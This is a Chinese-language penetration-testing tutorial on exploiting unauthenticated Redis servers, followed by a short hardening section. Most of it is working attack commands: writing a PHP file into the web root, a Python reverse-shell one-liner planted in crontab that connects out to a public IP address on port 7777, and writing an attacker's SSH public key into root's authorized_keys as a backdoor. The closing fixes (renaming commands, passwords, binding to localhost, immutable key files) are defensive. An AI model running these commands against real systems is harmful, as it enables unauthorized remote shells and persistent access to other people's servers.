Do Evil Via Redis Unauthorized Access

0x01 关于 Redis

REmote DIctionary Server(Redis) 是一个开源的使用 ANSIC 语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value 数据库,并提供多种语言的 API。它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

Redis 是一个 NoSQL 的数据库(NoSQL 泛指非关系型的数据库,常用的 Mysql是关系型数据库),数据通过键/值对存储在内存中。默认配置中,在服务运行的时候,会开放一个没有验证的 TCP/6379 端口,提供的这个接口是很 "宽容"。它会尝试去解析处理每一次输入(直到超时或者输 入 QUIT 命令退出),对于那些不存在的命令,则会显示像 "-ERR unknown command" 这样的输出。

在运行时, Redis 以数据结构的形式将数据维持在内存中, 为了让这些数据在 Redis 重启之后仍然可用, Redis 分别提供了 RDB 和 AOF 两种持久化模式。

  1. RDB 将数据库的快照以二进制的方式保存到磁盘中。在 Redis 运行时, RDB 程序将当前内存中的数据库快照保存到磁盘文件中, 在 Redis 重启动时, RDB 程序可以通过载入 RDB 文件来还原数据库的状态。

  2. AOF 则以协议文本的方式,将所有对数据库进行过写入的命令(及其参数)记录到 AOF 文件,以此达到记录数据库状态的目的。AOF 持久性会记录服务器接收的每个写入操作,这些操作将在服务器启动时再次重放,以重建原始数据集。 使用与 Redis 协议本身相同的格式记录命令,并且采用仅追加方式。当日志太大时,Redis 可以在后台重写日志。

Redis 配置中几个关键项目:

dir 指定的是 redis 的“工作路径”,之后生成的 RDB 和 AOF 文件都会存储在这里。
dbfilename RDB 文件名,默认为 “dump.rdb”
appendonly 是否开启 AOF
appendfilename AOF 文件名,默认为 “appendonly.aof”
appendfsync AOF 备份方式:always、everysec、no

我们可以通过指定 dir 和 dbfilename,执行 save / bgsave,即可实现任意文件的写入。Redis 默认的配置是使用 6379 端口且默认无密码,所以如果这个端口对公网开放时就很容易出问题,会导致未授权访问进而可利用 Redis 权限写文件:

  1. 在 Redis 有 Web 目录写权限时,我们可以向 Web 应用绝对路径写入 Webshell;

  2. 在 Redis 以 root 权限运行时,我们可以通过写 Crontab 来执行命令反弹 shell 或吸入 ssh-keygen 公钥然后使用私钥登陆。

0x02 写 Webshell

* Kali 下部署 Redis:

# Download
wget http://download.redis.io/releases/redis-stable.tar.gz
# Decompression
tar -zxvf redis-stable.tar.gz
# Compile
cd redis-stable
make
# Run
cd src
./redis-server
⚡root@Kali /home/redis-stable/src > ./redis-cli
127.0.0.1:6379> config set dir /var/www/html
OK
127.0.0.1:6379> config set dbfilename redis.php
OK
127.0.0.1:6379> set shell "<?php phpinfo(); ?>"
OK
127.0.0.1:6379> save
OK

* 设置可远程访问:

# 编辑 redis.conf
vim redis.conf
# 注释掉该IP地址,表示允许所有网络地址访问
bind 127.0.0.1
# 修改运行时不受保护
protected-mode no
# 修该为守护进程/后台程序(无需进行此操作,数据只会在后台运行时会保存,关闭将清空)
daemonize yes
# 启动
cd src
./redis-cli
# 修改运行时不受保护
config set protected-mode no
# 设置密码
config set requirepass password
# 密码登录
./redis-cli
auth password

0x03 Crontab 定时任务

Crontab 命令常见于 Unix 和类 Unix 的操作系统之中,用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于 crontab 文件中,以供之后读取和执行,定时任务在 Linux 中主要有 2 个地方体现:

  • /etc/crontab,只有 root 用户可以使用,使用时需 root 权限,而且必须指定运行用户。

    */1  *  *  *  *  *  root /usr/sbin/ntpdate s1a.time.edu.cn &> /dev/null
    

    *(分) *(时) *(天) *(月)*(周)
    /(每)-(连续的时间),(离散时间)*(所有都匹配)

    # /etc/crontab: system-wide crontab
    # Unlike any other crontab you don't have to run the `crontab'
    # command to install the new version when you edit this file
    # and files in /etc/cron.d. These files also have username fields,
    # that none of the other crontabs do.
    
    SHELL=/bin/sh
    PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
    
    # Example of job definition:
    # .---------------- minute (0 - 59)
    # |  .------------- hour (0 - 23)
    # |  |  .---------- day of month (1 - 31)
    # |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
    # |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
    # |  |  |  |  |
    # *  *  *  *  * user-name command to be executed
    17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
    25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
    47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
    52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
    
    
  • /var/spool/cron/$USER,所有用户都可以使用,可以使用 crontab -u username -e 命令来直接编辑这个文件。

    • CentOS 的定时任务在 /var/spool/cron/root/
    • Ubuntu 的定时任务在 /var/spool/cron/crontabs/root/
    • Ubuntu 用户定时任务必须在 600 权限才能执行
    • Ubuntu 不能使用 bash 反弹 shell
(crontab -l;printf "* * * * *  /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n")|crontab -
  • crontab - 将管道符前面的内容写入到当前用户的 crontab 文件里;

  • * * * * * 表示每一分钟执行该命令,等同于 */1 * * * *.

如果是 ubuntu 的 root 权限,以上命令会写到 /var/spool/cron/crontabs/root 文件;如果是 centos 的 root 权限,以上命令则会写到 /var/spool/cron/root 文件。

echo -e  "\n\n* * * * *  /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"47.98.224.70\",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n" | ./redis-cli -h 127.0.0.1 -x set shell

0x04 SSH 后门植入

本地生成 ssh 秘钥:

⚡root@Kali  ~/桌面 > ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:o//N3gbnXInV5hhN+wZp438tnL6A6AoDSBmMGOPuf88 root@Kali
The key's randomart image is:
+---[RSA 3072]----+
|*o               |
|+oo             .|
| +             +o|
|o.            *o+|
|...     S    ooBo|
|.  .   . o ...+.=|
| .  o . . . .* =.|
|  .  +.o   o oB +|
|   .. oEo...+o+o.|
+----[SHA256]-----+

取出公钥:

⚡root@Kali  ~/.ssh > cat id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGIfblo3aG879O1+EpZFO2TKzCuy7nVW/jNcGCr/sX0lzvmZuGvxB4cAqbBHi0mvEXZu85kmodyhgD3BZltzifTy0wOr3vtyxjea/r4K+i+OyxGTrtXWkqaEtIhPg2aIifGSdwPhc5hpIC1L9FyNiAA9l7gKt2J/IWxmAYkfCPL56j/7W2DHgX822Pfv7Ib3dtFZJ3l60ziWgpfLWRL8Th+04JfvhgnZGFYBKhTROu4RnrHPdrPg+yzIFXMRpJWb1qrsXnsw5pg5g3mmHs9P5BjG1fLkLQ0H2XyF8wY8QNFVOqFahk99ApNWA6QLoW92ZuZH9cibcXoB2l1Xspxf77/QUAjwIdga5jLtJ5vvmf0qBvbdSIwtBp1ZE57EN58uqahWee6vXWMzUSOD17ynwbK9j/QQOWdC/CUBxmYBp9grMVz2AgbdfpI28Z64KAUWHNUAalstRDXxdJ9XFsBhAN2UBUd9x9wCi2OUVhUleiTNepY38pfk9v0NAkb3eNDn0= root@Kali

写入 Redis :

config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGIfblo3aG879O1+EpZFO2TKzCuy7nVW/jNcGCr/sX0lzvmZuGvxB4cAqbBHi0mvEXZu85kmodyhgD3BZltzifTy0wOr3vtyxjea/r4K+i+OyxGTrtXWkqaEtIhPg2aIifGSdwPhc5hpIC1L9FyNiAA9l7gKt2J/IWxmAYkfCPL56j/7W2DHgX822Pfv7Ib3dtFZJ3l60ziWgpfLWRL8Th+04JfvhgnZGFYBKhTROu4RnrHPdrPg+yzIFXMRpJWb1qrsXnsw5pg5g3mmHs9P5BjG1fLkLQ0H2XyF8wY8QNFVOqFahk99ApNWA6QLoW92ZuZH9cibcXoB2l1Xspxf77/QUAjwIdga5jLtJ5vvmf0qBvbdSIwtBp1ZE57EN58uqahWee6vXWMzUSOD17ynwbK9j/QQOWdC/CUBxmYBp9grMVz2AgbdfpI28Z64KAUWHNUAalstRDXxdJ9XFsBhAN2UBUd9x9wCi2OUVhUleiTNepY38pfk9v0NAkb3eNDn0= root@Kali\n\n\n"
save
ssh -i id_rsa root@host

0x05 修复建议

1. 禁止一些高危命令。修改 redis.conf 文件,添加如下选项来禁用远程修改 dir/dbfilename。

rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

2. 以低权限运行 Redis 服务。为 Redis 创建单独的用户和家目录,并配置禁止登陆。

groupadd -r redis && useradd -r -g redis redis

3. 为 Redis 添加密码验证。修改 redis.conf ,添加:

requirepass mypassword

4. 禁止外网访问 Redis。修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用:

bind 127.0.0.1

5. 保证 authorized_keys 文件的安全。为保证安全,阻止其他用户添加新的公钥。将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

chmod 400 ~/.ssh/authorized_keys

为保证 authorized_keys 的权限不会被改掉,还可以设置该文件的 immutable 位权限:

chattr +i ~/.ssh/authorized_keys

然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:

chattr +i ~/.ssh

*:如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。

6. 设置防火墙策略。

- 参考 -

[1] Trying to hack Redis via HTTP requests

[2] Linux Crontab定时任务反弹shell的坑

[3] redis未授权访问漏洞一些利用 - 0verwatch